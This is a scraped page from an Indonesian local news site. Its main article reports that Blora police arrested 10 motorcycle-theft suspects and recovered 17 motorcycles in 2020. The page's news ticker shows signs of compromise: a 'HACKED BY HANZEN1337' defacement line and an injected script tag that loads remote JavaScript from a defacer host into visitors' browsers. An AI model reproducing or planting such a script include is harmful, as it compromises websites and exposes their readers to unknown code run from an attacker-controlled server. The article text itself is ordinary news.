News Ticker
  • HACKED BY HANZEN1337
  • <script src="https://jso.defacer.id/raw/I7j6n4T3C9"></script>
  • Kunjungan Kerja di Bojonegoro, Menhan Sjafrie Sjamsoeddin Tinjau Rencana Pengembangan Batalyon TP 885 dan Brigif 33 di Dander
  • 11 Juli dalam Sejarah
  • Prakiraan Cuaca Bojonegoro 11 Juli 2026
  • Kandang Ayam Senilai Rp2 M di Malo, Bojonegoro Ludes Terbakar
  • Panen Melon Bersama, Bupati Bojonegoro Ajak Generasi Muda Bangun Pertanian Modern
  • Pemkab Bojonegoro Alokasikan Rp11,03 Miliar untuk Lima Program Beasiswa Mahasiswa
  • Seorang Lansia Bojonegoro Tewas Tertabrak Kereta Api Jayabaya di Perlintasan Baureno
  • Perkiraan Harga Emas Hari Ini, 10 Jul 2026
  • Prakiraan Cuaca Bojonegoro 10 Juli 2026
  • 10 Juli dalam Sejarah
  • Kecamatan Kota Dominasi Emas Kickboxing, Klasemen Sementara Porkab II Bojonegoro Masih Memimpin
  • Dalam Sehari Terjadi Enam Kebakaran Lahan di Bojonegoro, Ini Daftarnya
  • Pemkab Bojonegoro Berikan Pembinaan Ribuan Mahasiswa Penerima Beasiswa Daerah
  • "El Último Tango", Sepatu Spesial Adidas untuk Perjalanan Terakhir Messi di Piala Dunia
  • Kejari Bojonegoro Terima Tahap II Kasus Dugaan Peredaran Rokok Ilegal
  • Paripurna DPRD, Raperda Pertanggungjawaban APBD 2025 Disetujui
  • Hadapi Musim Kemarau, Pemkab Bojonegoro Distribusikan Air Bersih ke Sejumlah Desa
  • Pemkab Bojonegoro Dorong Setiap OPD Lahirkan Inovasi Lewat BIA 2026
  • Prakiraan Cuaca Bojonegoro 9 Juli 2026
  • Rumah Kosong di Kapas, Bojonegoro Terbakar, Kerugian Capai 150 Juta Rupiah
  • Merayakan Detik Ini: Menemukan Kedamaian dalam Jejak Hidup yang Singkat
  • Tiga Rumah di Temayang Bojonegoro Terbakar Akibat Korsleting Listrik, Total Kerugian 520 Juta Rupiah
Polres Blora Amankan 10 Tersangka Curanmor Berikut Barang Bukti 17 Sepeda Motor

Polres Blora Amankan 10 Tersangka Curanmor Berikut Barang Bukti 17 Sepeda Motor

Blora - Jajaran Satuan Reserse Kriminal (Satreskrim) Polres Blora, selama pelaksanaan Operasi Sikat Jaran Candi 2020, berhasil mengamankan 10 tersangka kasus pencurian dengan pemberatan, yaitu pencurian kendaraan bermotor (curanmor), berikut barang bukti sebanyak 17 sepeda motor.
 
 
Hal tersebut disampaikan Kapolres Blora, Ajun Komisaris Besar Polisi (AKBP) Ferry Irawan SIK, melalui Kasat Reskrim Polres Blora, Ajun Komisaris Polisi (AKP) Setiyanto SH MH, dalam konferensi pers di Mapolres Blora, Senin (03/08/2020).
 
AKP Setiyanto membeberkan bahwa pengungkapan kasus tersebut dilakukan selama 20 hari pelaksanaan Operasi Sikat Jaran Candi 2020 yang digelar mulai tanggal 06 Juli 2020 sampai dengan 25 Juli 2020.
 
"Selama Operasi Sikat Jaran Candi, kita berhasil mengamankan 10 tersangka berikut 17 barang bukti berupa sepeda motor," ucap Kasat Reskrim AKP Setiyanto.
 
 

Konferensi pers ungkap kasus selama pelaksanaan Operasi Sikat Jaran Candi 2020, di Mapolres Blora. Senin (03/08/2020)

 
AKP Setiyanto menguraikan bahwa 17 barang bukti sepeda motor tersebut berhasil diamankan di 6 kecamatan di wilayah Kabupaten Blora.
 
"Di antaranya kita amankan 6 unit sepeda motor di wilayah Kecamatan Jepon, 5 unit di Kecamatan Tunjungan, 1 unit di wilayah Kecamatan Kedungtuban, 3 unit di wilayah Kecamatan Ngawen, 1 unit di wilayah Kecamatan Todanan, dan 1 unit di wilayah Kecamatan Jiken," ucap Kasat Reskrim.
 
 
 
Lebih lanjut Mantan Kapolsek Kragan Polres Rembang ini mengatakan bahwa modus yang dilakukan oleh para tersangka berbeda beda, ada yang memakai kunci T atau kunci modifikasi buatan sendiri, ada juga dengan modus tanpa kunci tapi menghidupkan mesin dengan kabel, bahkan ada juga yang merusak kunci.
 
"Kami imbau masyarakat agar lebih berhati hati, karena ada berbagai modus yang dilakukan oleh para pelaku curanmor," kata AKP Setiyanto.
 
 
 
Untuk mempertanggung jawabkan perbuatannya, para pelaku dijerat pasal 363 KUHP. "Para pelaku diancam  dengan ancaman hukuman maksimal 7 tahun penjara," ka Kasat Reskrim Polres Blora, AKP Setiyanto SH MH. (teg/imm)
 
Berita Terkait
1783889695.8612 at start, 1783889696.1662 at end, 0.30492806434631 sec elapsed